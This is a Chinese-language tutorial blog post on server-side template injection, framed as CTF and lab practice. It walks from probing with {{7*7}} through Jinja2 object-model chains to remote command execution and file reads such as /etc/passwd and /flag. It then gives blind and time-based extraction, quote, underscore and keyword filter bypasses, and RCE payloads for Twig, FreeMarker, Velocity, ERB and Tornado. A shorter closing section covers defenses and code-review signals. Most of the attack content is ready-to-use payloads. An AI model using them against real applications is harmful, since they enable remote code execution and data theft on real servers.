☰
SSTI模板注入:从探测到Jinja2利用链与过滤绕过
2026/11/5 4:42:20 网站建设 项目流程

刚接触 Web 入门题单的人,大多会在 SSTI 这一类题上卡住。前面的 SQL 注入、文件包含、命令执行,套路还算直观——有输入框就往里塞单引号,有参数就往里塞../。到了 SSTI 就没那么直观了:题目往往只给你一个输入框,输入{{7*7}}回显49,输入别的什么反应都没有。很多人第一反应是"这算什么漏洞",然后去搜现成 payload,粘进去,过了,下一题。等到题目开始过滤引号、过滤下划线、过滤关键字,那套背下来的 payload 立刻失效。

中间那段被跳过的过程才是真正有价值的东西:模板引擎到底在哪个位置执行用户输入、为什么一个双大括号就能从"好奇"走到"读文件"、在过滤环境下怎么把被砍掉的语法一块块拼回来。我以 Python 的 Jinja2 为主线,因为它在这类入门题里出现频率最高,同时把 Twig、FreeMarker、Velocity、Smarty 这些常见引擎的差异做成对照。所有内容都基于本地自建靶场和练习环境里的复现,只讨论原理与防御,不针对任何线上业务系统。

1. 先把"谁在渲染谁"这件事拆清楚

1.1 模板引擎的本职工作与它的越界点

模板引擎的分工非常明确:模板文本是程序,数据是输入,引擎负责把数据填进模板的占位符里,最后输出一份完整文本。这个分工的前提是——模板文本来自开发者,数据来自用户,两者永远不在同一层。SSTI 的全部问题就出在这个前提被打破:用户提供的字符串被当成了模板文本的一部分,交给引擎去编译执行。

举个最直观的对照。下面第 2 行是安全的,第 1 行是危险的:

# 危险:用户输入参与模板源码拼接 render_template_string("你好," + name) # 安全:用户输入只是渲染数据 render_template("hello.html", name=name)

这两行的区别不在参数,而在编译时机。前者是"先拼成模板,再编译",用户输入进入了编译器的输入端;后者是"模板已经编译好,用户输入只是去填空"。我把这个区别叫作"数据是否跨过了编译边界",这是判断任何一处代码有没有 SSTI 的唯一标准,比看有没有用render_template_string更准确——因为用render_template也可能翻车,如果模板文件是从数据库里读出来的话。

顺带说一个容易被忽略的点:并不是只有 Python 才有这个问题。Jinja2 对应 Flask,Twig 对应 Symfony/Laravel,FreeMarker 对应 Java 的 Spring MVC,Velocity 对应老一代 Java 项目,Smarty 对应 PHP 生态,ERB 对应 Ruby on Rails,Tornado 自带模板系统,Thymeleaf 在 Spring Boot 里几乎成了标配。它们共同的特征是"模板里能写表达式",只要表达式能求值,就有可玩的空间。

1.2 为什么{{7*7}}是最省事的第一发探测

几乎所有 SSTI 的教学都从{{7*7}}开始,不是因为它是唯一答案,而是因为它同时具备三个性质:无副作用、区分度高、成本极低。

  • 无副作用:它只是算个数,不会改数据库、不会写文件,就算打歪了也不会把靶场弄崩。
  • 区分度高:回显49说明引擎真的在求值;原样回显{{7*7}}说明这段内容被当成普通文本输出去了,或者被 HTML 转义了;页面报错则给了你一堆新情报。三种结果三种走向,没有模糊地带。
  • 成本极低:不需要理解目标用什么框架,先打一发再看反应,是最符合性价比的排查顺序。

有一个细节值得展开:为什么用7*7而不是1+1?因为1+1的结果2太短、太容易和页面里其他数字撞车,肉眼判断容易出错。49这个数字相对少见,而且在页面里出现的位置通常就是渲染点,一眼就能定位。同理,我习惯用7*7和{{7*'7'}}配合打:前者测算术能力,后者测字符串运算能力。

{{7*'7'}}这个探测之所以妙,是因为它能区分两个语法极其相似的引擎:Jinja2 会把'7'当成字符串,字符串乘以整数返回重复拼接,结果是一串7777777;Twig 则会把'7'转成数字参与运算,结果是49。一发 payload 就把 Python 系和 PHP 系分开了,比看页面 UI 靠谱得多。

1.3 输入点远比你想的多

入门题里最常见的形态是一个搜索框或者 URL 参数?name=xxx,但实际环境里的注入点分布要广得多。我在靶场里刻意做过一组对照实验,同一段有漏洞的渲染代码,把入口换到不同位置,成功率差别很大:

输入位置常见程度典型场景
URL 查询参数极高搜索页、详情页、个性化问候
表单 POST 字段高用户名回显、反馈内容预览
请求头中UA 解析、语言协商、来源页展示
文件名 / 路径段中报表导出、静态资源重命名
邮件正文与标题中通知模板、找回密码邮件
PDF / 图片生成低但杀伤大导出报告、单据渲染

入门题单里,第三行往下的位置出现频率不高,但一旦出现,很多人会漏。我印象最深的一次是做一道"个性化问候"的题,参数怎么试都返回原样,最后是在User-Agent里打进去才命中——那条 UA 被拿去渲染页脚的"最近访问者"模块了。这类题教给我的经验是:找不到注入点时,把所有会被服务端"回显"到页面的字段列一遍,而不只是盯着参数名。

2. 引擎指纹识别:不同模板语言的"方言"对照

2.1 三种结果对应三条完全不同的路

探测的价值在于分流。一发{{7*7}}打出去,拿到结果先别急着往下打 payload,先判它属于哪一类:

第一类,回显 49。说明引擎在求值,且用的很可能是{{ }}这一族语法。这时候要立刻补一发{{7*'7'}}和${7*7}、<%= 7*7 %>把范围再收窄。因为不少引擎同时支持多种定界符,只测一种容易误判。

第二类,原样回显{{7*7}}。这时候不要马上下结论说"没漏洞"。有两种可能:一是这块内容压根没经过模板,走的是纯字符串替换;二是模板确实跑了,但这个表达式不是合法的求值语法。比如 Django 模板就不支持算术表达式,{{7*7}}会老老实实输出7*7,很多人一看到这个就放弃了,其实应该换${7*7}或者{% if %}试试。

第三类,报错。报错是好事,而且是大好事。报错页面里通常会带模板文件的路径、引擎名称、行号、甚至部分解析树。我见过最慷慨的一次,报错页直接把 Jinja2 的TemplateSyntaxError和模板文件绝对路径一起吐出来了,等于免费送答案。

2.2 常见引擎的探测句式对照

下面这张表是我自己整理、在靶场里逐条验证过的。实际做题时按顺序打,命中哪个就停下:

探测 payload命中引擎特征备注
{{7*7}}→49Jinja2 / Twig / Tornado / Nunjucks最常见的起点
{{7*'7'}}→7777777Jinja2 系字符串重复
{{7*'7'}}→49Twig 系字符串转数字
${7*7}→49FreeMarker / JSP EL / ThymeleafJava 生态高频
#{7*7}→49Ruby 字符串插值 / Thymeleaf 变体少见但对症
<%= 7*7 %>→49ERB (Ruby) / EJS (Node)尖括号家族
{7*7}→49SmartyPHP 生态
@(7*7)→49Razor (.NET)遇到概率低
{% ... %}能生效Jinja2 系语句块可用
{# #}被吞掉Jinja2 / Twig注释语法

表里最后两行经常被忽视。很多时候{{ }}被 WAF 或题目过滤了,但{% %}没被过滤,这时候{% print(7*7) %}一样能打出49。我在一道过滤了双大括号的题里就是靠{% print %}走通的,这个细节后面第 4 章还会展开。

2.3 报错堆栈是被低估的情报源

报错页面的价值不在于"知道出错了",而在于它泄露了执行栈。一个典型的 Jinja2 报错会告诉你:哪个模板文件、哪一行、哪个表达式解析失败、调用链上经过了哪些函数。这三条信息几乎等于把答案写在了脸上。

我处理报错页的顺序是固定的:先找引擎名(jinja2、twig、freemarker、velocity这类关键字),再找版本号(版本决定哪些历史特性可用),最后找路径(路径能反推项目结构,有时候会意外暴露模板目录和配置目录)。

有一种情况要特别注意:某些框架在调试模式下会把整个环境变量、配置字典、甚至SECRET_KEY一起打出来。这时候 SSTI 已经不是最高优先级的入口了,直接拿泄露的凭据去走别的路可能更快。我在靶场里就遇到过"报错页把 Flask 的 config 全吐出来"的配置,那种环境下继续吭哧吭哧构造利用链反而是绕远路。

3. Jinja2 利用链的逐环拆解

3.1 从__class__到__mro__:顺着家谱往上爬

Jinja2 的经典利用链之所以能成立,全靠 Python 对象模型里那几个"公开的后门":任何对象都有__class__,任何类都有__mro__(方法解析顺序),任何类都有__subclasses__(),任何函数都有__globals__。这几个属性本来是给内省和调试用的,但它们对"任意对象都能访问"这一点没有设防,所以在模板里能访问到一个字符串,就能顺着爬到整个运行时。

拆开看,每一环的作用是:

  • ''.__class__→<class 'str'>,从一个字符串实例摸到了它的类;
  • ''.__class__.__mro__→(str, object),从类摸到了继承链;
  • ''.__class__.__mro__[1]→object,爬到所有类的根;
  • object.__subclasses__()→ 一个长长的列表,里面装着当前解释器里所有直接继承object的类。

从"一个空字符串"到"整个进程里所有可用的类",只用了四步。这就是为什么 Jinja2 的利用链看起来像变魔术——它根本没用什么漏洞,用的全是语言自带的正常能力。

3.2__subclasses__()的下标怎么找

__subclasses__()返回的列表长度在不同环境里完全不同,同一个镜像重启一次都可能变。所以死记某个下标是没有意义的,必须现场定位。我常用的三种方法:

方法一,本地数一遍。在本地跑起同版本的环境,把列表打印出来,用enumerate找目标类的下标。这个方法的缺点是本地环境和靶场环境的依赖包不完全一致,下标可能对不上。

方法二,用模板语法现场筛。Jinja2 支持for和if,可以直接在模板里遍历:

{% for c in ''.__class__.__mro__[1].__subclasses__() %} {% if 'Popen' in c.__name__ %}{{ loop.index0 }}:{{ c.__name__ }}{% endif %} {% endfor %}

loop.index0是 Jinja2 内置的循环变量,从 0 开始计数,正好对应列表下标。这段代码在大多数环境里能直接把目标类的下标打印出来,比盲猜高效得多。

方法三,直接绕过下标。如果目标是执行命令,其实有很多不依赖下标的短链,这条路径更稳,下一小节展开。

在靶场里我常用的几个目标类,以及它们各自能干什么:

目标类利用点特点
subprocess.Popen直接执行命令最直接,但要处理 stdout
os._wrap_close__init__.__globals__里有os模块可拿到popen/system
warnings.catch_warnings__init__.__globals__里有__builtins__能再导入任意模块
_frozen_importlib.BuiltinImporter能load_module老版本有效
click._compat等第三方类通过 globals 摸到模块依赖安装情况

subprocess.Popen用得最多,但调用的时候有个坑:不设置stdout参数,命令输出不会回显,你会以为没执行成功。正确的写法是stdout=-1(等价于subprocess.PIPE):

{{ ''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate()[0].decode() }}

communicate()返回的是一个元组(stdout, stderr),取[0]再decode()才是人能看的字符串。漏掉decode()你会看到一串b'...',虽然也能读,但在 payload 里多一层处理容易出错。

3.3 更短的路径:globals与builtins

绕开下标最有效的方式,是直接利用 Jinja2 暴露给模板的全局函数。Jinja2 在渲染上下文里默认塞了一批函数,比如lipsum、cycler、joiner、namespace、url_for、get_flashed_messages、range、dict、config、request、session、g。这些都是 Python 函数或对象,都有__globals__,而__globals__里通常能直接摸到os、sys、__builtins__这些名字。

几条我常用的短链,按可靠性排序:

{{ lipsum.__globals__.os.popen('id').read() }} {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} {{ url_for.__globals__['os'].popen('id').read() }} {{ config.__class__.__init__.__globals__['os'].popen('id').read() }} {{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}

这几条的共同优势是:不依赖__subclasses__()的下标。只要模板上下文里有lipsum或cycler,链路就是稳定的。lipsum是 Jinja2 内置的假文生成函数,几乎在所有 Flask 环境下都存在,所以它是我第一优先尝试的对象。

config那条链也值得单独说一句。config在 Flask 里是app.config,类型是Config,它的__class__就是flask.config.Config,__init__是普通函数,__globals__指向flask.config模块的全局命名空间,那里面 import 了os。这条链的好处是config永远存在,坏处是链稍微长一点,遇到长度限制时不一定塞得进去。

3.4 无回显时的三种取证方式

入门题大部分是回显型,但稍微进阶一点的就会开始玩"盲"的:命令执行了,但页面不给你输出。这时候有三条路可以走。

第一条,外带。把命令结果编码后拼进一个能访问的地址,或者写到一个可读的文件里。

{{ lipsum.__globals__.os.popen('cat /flag | base64').read() }}

如果页面会把结果拼到某个你能看到的地方,这条路就通了。如果完全看不到,可以试写文件:

{{ lipsum.__globals__.__builtins__.open('/tmp/out','w').write(lipsum.__globals__.os.popen('id').read()) }}

前提是你知道一个可读的静态目录。

第二条,布尔盲注。用命令的返回值拼一个判断条件,看页面某处是否变化:

{% if lipsum.__globals__.os.popen('ls / | grep -q flag').read() == '' %}A{% else %}B{% endif %}

通过A/B的差异一位一位地抠,速度慢但极其稳定。写脚本跑的话,一个字符大概几秒钟。

第三条,时间盲注。用sleep做判断,看响应时间:

{{ lipsum.__globals__.os.popen('sleep 5').read() }}

这条思路最不挑环境,但最慢,而且受网络抖动影响大。我一般只在布尔盲注被完全堵死的时候才用。实测下来,把 sleep 设成 4~5 秒比较合适,太短了分不清,太长了整道题能耗掉半小时。

4. 过滤绕过:字符、关键字、长度三个维度

4.1 引号被吃掉时怎么造字符串

引号是最常被过滤的字符之一。没有引号,'id'写不出来,'__class__'也写不出来。绕过的核心思路是从别的地方取字符串,而不是在模板里写字符串。

最省事的来源是请求本身。Jinja2 的模板上下文里有request对象,它的args、form、cookies、headers都是用户完全可控的:

{{ ().__class__.__base__.__subclasses__()[X](request.args.cmd, shell=True, stdout=-1).communicate()[0].decode() }}

请求?name=上面的payload&cmd=id,字符串id就从 URL 里进来了,模板里一个引号都不需要。这个技巧在过滤严格的题里几乎是标配,我建议一开始就把request.args.xxx的写法养成习惯。

如果request也被过滤了(少见但存在),还有两条备选。一是用模板里的无引号常量:dict(a=1)能造出字典,range(1)能造出序列,()是空元组,[]是空列表。二是用编码构造,\x5f代表下划线,\x69\x64代表id,但字符串字面量本身还是需要引号包起来,所以这条路只在"引号没被过滤、但某些字符被过滤"的时候有用。

4.2 下划线、点、方括号的等价写法

这三个符号是过滤的重灾区,但它们的作用几乎可以互相替代。

点被过滤时,用方括号下标:''.__class__改成''['__class__']。

方括号被过滤时,用attr过滤器:''|attr('__class__'),lipsum|attr('__globals__')。

下划线被过滤时,把字符串交给attr去解析:''|attr(request.args.a),a=__class__。因为下划线出现在 URL 参数里,不经过模板词法分析,所以完美规避。

三方全禁时的组合:

{{ (lipsum|attr(request.args.g)|attr(request.args.o)).os.popen(request.args.c).read() }}

请求串是?g=__globals__&o=__builtins__&c=id之类。这种写法看着丑,但在严格过滤下非常稳,我在靶场里用它过掉过一道同时禁掉引号、点、下划线、方括号的题。

还有一个小技巧:|map(attribute='...')和|selectattr也能用来替代点访问,在attr被禁的时候可以试试。不过这两个过滤器语法更啰嗦,长度限制严的时候不划算。

4.3 关键字黑名单:拼接、编码、大小写

class、mro、subclasses、globals、builtins、os、system、popen、eval、import这一串,是黑名单的常客。绕过的核心就一个字:拆。

{{ ''['__cla'+'ss__'] }} {{ ''['__cl'+'ass__'] }} {{ lipsum.__globals__['o'+'s'].popen('id').read() }} {{ lipsum.__globals__['__buil'+'tins__'] }}

拆的位置要选在黑名单匹配不到的地方。比如黑名单里写的是__class__,那'__cla'+'ss__'就能过;如果黑名单里写的是class,那'__cla'+'ss__'也能过,因为单个字符串片段里不含完整的class。这条规律是我踩过坑才总结出来的:黑名单匹配的是子串,那就把关键字在子串层面切开。

字符串拼接之外,还有几种替代:

  • 大小写混写:__CLASS__在某些引擎里属性名大小写敏感,通常在 Python 里不行,但有些 WAF 的规则是大小写敏感的,可以试试。
  • Unicode 编码:Jinja2 的字符串支持\u转义,'\u005f\u005fclass\u005f\u005f'在某些环境下能还原。
  • 用|join组合列表:['__cl','ass__']|join得到完整字符串。
  • 用format拼接:'%s%s'|format('__cl','ass__')。
  • 用reverse倒着来:'__ssalc__'|reverse。

最后这条reverse在过滤规则只匹配正向关键字的时候特别好用,属于我很喜欢的一个小 trick。

4.4 借request上下文做参数注入

前面提过request.args,这里单独展开说说它的完整用法,因为这是绕过能力最强的一个点。

Jinja2 的上下文中,request对象能拿到args(查询串)、form(表单)、cookies、headers、values、json。这意味着你可以把一整条链拆成若干段,全塞进请求里,模板里只留最少的字符:

{{ ().__class__.__base__.__subclasses__()[request.args.i](request.args.c,shell=True,stdout=-1).communicate()[0].decode() }}

请求?name=...&i=123&c=cat /flag,连数字下标都可以动态调整,一道题打完换个下标不用改 payload。这个技巧在做需要反复试探的题时能省掉大量时间。

request.cookies和request.headers也是同样的道理。有些题只过滤了 URL 参数,没管 Cookie,这时候从 Cookie 里取字符串就能过。我遇到过一次,args里的内容被额外过滤了一轮,但cookies没有,换了个位置立刻通了。这类经验说明:过滤规则往往是按输入位置写的,换位置经常能找到缺口。

4.5 长度限制下的取舍

有些题会限制输入长度,比如只能打 200 个字符。这时候要开始精打细算:

  • 优先选短链:lipsum.__globals__.os.popen('id').read()比__subclasses__那一套短得多。
  • 用{% set %}定义中间变量,避免重复写长链:
{% set a=lipsum.__globals__ %}{{ a.os.popen('id').read() }}
  • 用|attr替代长名字,配合request.args。
  • 能省的空格全省,{{和表达式之间不要有空格。

之前提过的{% print(7*7) %}在这里也有用武之地:当{{ }}被禁而{% %}没禁,长度又紧的时候,{%print(...)%}是唯一的选择。

5. 其他引擎的差异:不能一套 payload 打天下

5.1 Twig:_self的历史包袱与新版替代

Twig 的经典利用方式依赖_self:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

这条链在 Twig 1.x 里效果很好,但 Twig 2.0 之后_self的语义变了,指向的是模板名而不是模板对象,这条路就断了。新版常用的替代是map和filter回调:

{{ ['id']|map('system')|join }} {{ ['id']|filter('system')|join }} {{ ['id']|sort('system')|join }}

map会把每个元素传给回调函数,system就是 PHP 的system。这个写法的好处是短,而且不依赖_self内部结构,在 Twig 2/3 上都能打。

新版 Twig 的利用门槛比 Jinja2 高不少,主要因为 PHP 对象模型里没有__globals__这种东西,你得去找能反序列化或者能加载类的入口。在入门题里,Twig 通常只考到{{7*'7'}}的指纹识别和map('system')这一步。

5.2 FreeMarker:?new与Execute

FreeMarker 的经典写法是?new内建函数,它能实例化一个类:

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")} <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","id").start()}

Execute类实现了TemplateMethodModel,直接调用就能执行命令。ObjectConstructor更底层,能构造任意 Java 对象,威力更大但也更容易被拦。

新版 FreeMarker 默认禁用了?new,对应的绕过是用?api:

<#assign classLoader=object?api.class.protectionDomain.classLoader>

拿到classLoader之后就能反射加载任意类。这条链的细节比较长,实际做题时往往能拿到引擎版本号,按版本选对应的写法就行。

5.3 Velocity、Smarty、ERB 和 Tornado 的差异

这四家的利用思路不能互相套用,但奇技淫巧的方向是一致的——都是想办法从"能求值"走到"能加载类/能调函数"。

引擎典型利用特点
Velocity#set($x='')后调$x.getClass().forName(...)Java 反射路径
Smarty{Smarty_Internal_Write_File::writeFile(...)}静态方法可直接调
Smarty 旧版{php}...{/php}3.x 已移除
ERB<%= system('id') %>最直接,Ruby 无沙箱
Tornado{% import os %}{{ os.popen('id').read() }}支持 import 语句

ERB 那条最"朴素",因为 Ruby 的模板里可以直接写任何 Ruby 代码,<%= system('id') %>就这么简单,不需要绕任何链。这也是为什么 Rails 项目里一旦出现模板注入,往往比 Python 系更致命。

Tornado 的{% import %}语法值得单独记一下——它允许在模板里直接 import 模块,一步到位,比 Jinja2 绕一大圈简单得多。指纹上,{{7*7}}在 Tornado 里同样返回49,所以看到{{ }}命中不要急着当 Jinja2 打,先用{% import os %}试一下,命中率很高。

5.4 Django 模板为什么基本打不动

Django 模板的设计哲学是"模板里不放逻辑",它压根不支持函数调用和表达式运算。{{7*7}}在 Django 里输出的是字面量7*7,{{ ''.__class__ }}也不会返回类对象,而是尝试在上下文字典里找这个名字,找不到就当空字符串。

这意味着 Django 模板的"注入"通常只能做到变量访问级别的利用,比如读到不该读的上下文变量。要走到命令执行,必须配合别的漏洞(比如能控制模板文件内容、能写到可加载的路径)。

我在靶场里试过各种写法想打穿 Django,最后结论是:遇到 Django 就不要在 SSTI 上耗时间,转头看看有没有其他更靠谱的入口。这个判断本身也是一种经验——识别出"这条路走不通"比硬啃更省时间。

6. 从出题到写代码:SSTI 的防线到底在哪

6.1 数据永远不进入模板编译阶段

所有防御手段里,只有这一条是根本性的:用户提供的内容必须只作为变量值出现,绝不能作为模板源码的一部分。换成代码语言就是,永远是render(template, data),绝不是render(template_string_built_with_user_input)。

这条原则推到极致就是:如果业务真的需要"用户自定义模板",那也不能让用户写原生模板语法,得设计一套受限的占位符语法,比如只允许{name}、{date}这种格式,然后在渲染前用一个白名单替换器处理,替换完再交给真正的模板引擎——或者干脆不用模板引擎,直接用字符串替换。

我在一个需要"通知模板自定义"的场景里就是这么做的:用户能用的占位符只有五个,每个对应一个固定的变量名,替换逻辑是一张哈希表加正则,全程不碰模板引擎。这样即使有人往模板里塞{{7*7}},也只会被当成普通文字输出。

6.2 沙箱不是万能药,但能抬高门槛

很多人指望 Jinja2 的SandboxedEnvironment解决问题。它确实能拦掉大量常规 payload,比如禁止访问以下划线开头的属性、限制可用的过滤器。但沙箱的绕过研究一直没停过,绕过思路主要集中在这几类:

  • 通过已被允许的对象,间接摸到未受限的对象;
  • 利用过滤器或内置函数的副作用;
  • 找到沙箱黑名单里漏掉的类。

我的看法是:沙箱是纵深防御的一层,不是唯一防线。它能把"随手一试就能打通"降到"需要专门研究才能打通",这个价值是实打实的,但绝对不能因为它存在就放松输入验证。

真正有效的组合是三层:第一层是架构上隔离(用户数据不进模板),第二层是沙箱/白名单(限制模板能触达的能力),第三层是运行时限制(进程权限、文件系统只读、网络出站限制)。前两层防的是"能不能执行",第三层防的是"执行了能造成多大破坏"。

6.3 代码评审时盯这几个信号

如果要在别人的代码里找 SSTI,我一般 grep 这几个东西:

搜索目标关注原因
render_template_stringFlask 里最直接的高危函数
Template(后跟变量动态构造模板
Environment().from_string手动编译模板
jinja2.Template同上
Twig+createTemplatePHP 侧的对应写法
freemarker.template.TemplateJava 侧对应写法

看到这些函数本身不一定是漏洞,关键是看参数里有没有变量。render_template_string(get_template_from_config())和render_template_string("Hello {{name}}", name=user)完全是两回事,前者危险,后者安全。

顺带提一个容易漏的点:日志和错误页。有些项目会把用户输入原样渲染到错误页里,错误页本身可能就在用模板引擎渲染。这类"边缘页面"往往是安全评审的盲区,我在靶场里专门做过一道"404 页面回显路径"的题,注入点就藏在 404 的路径展示里。

7. 打这类题时我踩过的那些坑

第一个坑是把{{7*7}}返回49当成"肯定是 Jinja2"。实际上 Twig、Tornado、Nunjucks 也都返回49。我第一次因为这个误判,花了二十分钟在 Jinja2 的__subclasses__上碰壁,后来试了{% import os %}才发现是 Tornado。现在我固定按"先7*7,再7*'7',再{% %}能不能用,再${ }"这个顺序走一遍,多花三十秒,少走半小时。

第二个坑是忘了stdout=-1。subprocess.Popen不设这个参数,命令是执行了,但输出去了标准输出流,模板拿不到。我一度以为命令没执行,还去怀疑是禁用了subprocess,白白排查了一轮。从那以后我在自己的笔记里把这条写成了一句口诀:"Popen 必带 stdout,communicate 必取零下标"。

第三个坑是在过滤环境下不敢用丑payload。刚开始做过滤题的时候,我总觉得{{ (lipsum|attr(request.args.g)|attr(request.args.o)).os.popen(request.args.c).read() }}这种写法"太脏了,不可能对",结果它就是对的。过滤越严,payload 越丑,这是一条稳定规律。能不能想到丑写法,取决于你对语法等价替换熟不熟,而不是取决于题目难不难。

第四个坑是忽略了下标会变。同一个镜像,我在本地数出来是 132,靶场里是 128,中间差了 4 个。原因是靶场多装了几个包。后来我改成用{% for %}循环现场筛,问题一次解决。这件事对我的启发是:凡是依赖环境状态的硬编码,都要准备一个不依赖它状态的替代方案。

第五个坑相对抽象一点:只想着打穿,没想到先读源码。有一道题我折腾了很久想用__subclasses__直接执行命令,一直失败,后来在页面源码的注释里看到了一行版本提示,换了个对应版本的类名,一次就通了。信息收集永远比硬试划算,哪怕是看一眼 HTML 注释这种成本几乎为零的操作。

最后分享一个我现在养成的习惯:每打完一道 SSTI 题,不管成没成,都把当时用的 payload、遇到的过滤规则、最终的绕过思路记一行。这些记录攒到三五十条之后,再遇到过滤题基本能实现"看一眼过滤规则就知道该走哪条路",这个直觉不是背出来的,是一条一条实录积累的。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询